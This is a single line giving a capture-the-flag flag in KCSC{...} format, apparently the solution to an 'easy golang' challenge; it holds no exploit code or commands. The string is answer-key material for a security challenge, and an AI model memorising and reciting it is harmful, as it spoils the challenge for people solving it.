**Flag: ```KCSC{7h15_15_345y60l4n6_ch4ll3n63_7ea2da17_<3<3!!!}```**